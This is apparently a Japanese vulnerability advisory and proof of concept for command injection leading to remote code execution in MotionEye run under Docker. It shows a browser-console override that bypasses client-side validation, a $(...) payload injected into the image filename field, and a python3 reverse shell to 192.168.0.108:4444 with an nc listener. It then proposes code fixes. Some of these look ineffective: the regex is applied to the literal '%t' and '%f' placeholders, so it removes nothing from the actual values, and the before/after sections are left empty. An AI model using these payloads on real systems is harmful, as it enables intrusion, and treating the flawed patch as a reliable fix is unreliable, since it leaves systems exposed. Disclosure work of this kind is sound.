
この脆弱性のPoC手順
Dockerで実行されているMotionEyeインスタンスのセキュリティテスト中に、Web UI内のクライアント側バリデーションがバイパス可能であることが確認されました。これにより、ホストコンテナ上での実行をトリガーできるペイロードを含む任意の入力を送信できます。この問題は、悪用された場合にリモートコード実行(RCE)のリスクをもたらします。
影響を受けるバージョン: 0.43.1b4までの全バージョン
パッチ状況: まだパッチはありません。本アドバイザリに回避策を記載しています。
プロジェクトリファレンス: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999(コンテナの8765にマッピング)admin / 空のパスワード(デフォルト)Dockerイメージのダウンロードを開始してコンテナを起動するには、次のコマンドを実行します
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
結果: MotionEyeサーバー 0.43.1b4

Dockerコンテナが起動したら、以下のコマンドを使用してコンテナのシェルにアクセスできます
docker exec -it motioneye /bin/bash
ls -la /tmp

Webインターフェイスにアクセス:
http://127.0.0.1:9999
ログイン: admin(空のパスワード)
サンプルのRTSPネットワークカメラを追加しました。

「静止画像」>「画像ファイル名」に悪意のある実行コマンドを入力しましたが、クライアント側のバリデーションエラーが発生しました。
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
クライアント側のバリデーションによってブロックされました。


バリデーションを担当するスクリプトは /static/js/main.js?v=0.43.1b4 で、バリデーション条件を実装するために /static/js/ui.js?v=0.43.1b4 を参照しています。
ファイル: /static/js/main.js?v=0.43.1b4(/static/js/ui.js?v=0.43.1b4を参照)
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
ブラウザのコンソールでconfigUiValid関数をオーバーライドすることで、すべてのバリデーションチェックをバイパスできます: ブラウザのコンソール(F12またはCtrl+Shift+I)に以下のスニペットを入力します
configUiValid = function() {
return true;
};

これで、バリデーションなしでペイロードを直接入力できます: 以下のように設定して適用します
設定:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

適用 → root権限でファイルが作成されました。

シンプルなリバースシェルの生成:
リスナー:
nc -lvnp 4444

注入されたペイロード:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

結果: リモートシェルを取得しました。
MotionEyeは、Webダッシュボードからのユーザー入力を、危険な文字をチェックせずにMotion設定ファイルへ直接書き込むため、脆弱です。たとえば、UIのimage_file_nameフィールドはバックエンド(config.py)に送信され、/etc/motioneye/camera-.confに保存されます。MotionEyeがMotionサービス(motionctl.start)を再起動すると、Motionプロセスがこの設定ファイルを読み取ります。picture_filenameフィールドに$(touch /tmp/test)のようなシェル構文が含まれている場合、Motionはそれをファイル名の一部として扱わず、実際のコマンドとして実行します。
サニタイズされていない入力がMotion設定ファイルに書き込まれる流れ:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
ファイル: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value

サニタイズを適用:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
修正前:
修正後:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
元のコード:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
以下のコードに置き換え:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

motion_camera_ui_to_dict(...)内:
元のコード:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
以下のコードに置き換え:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')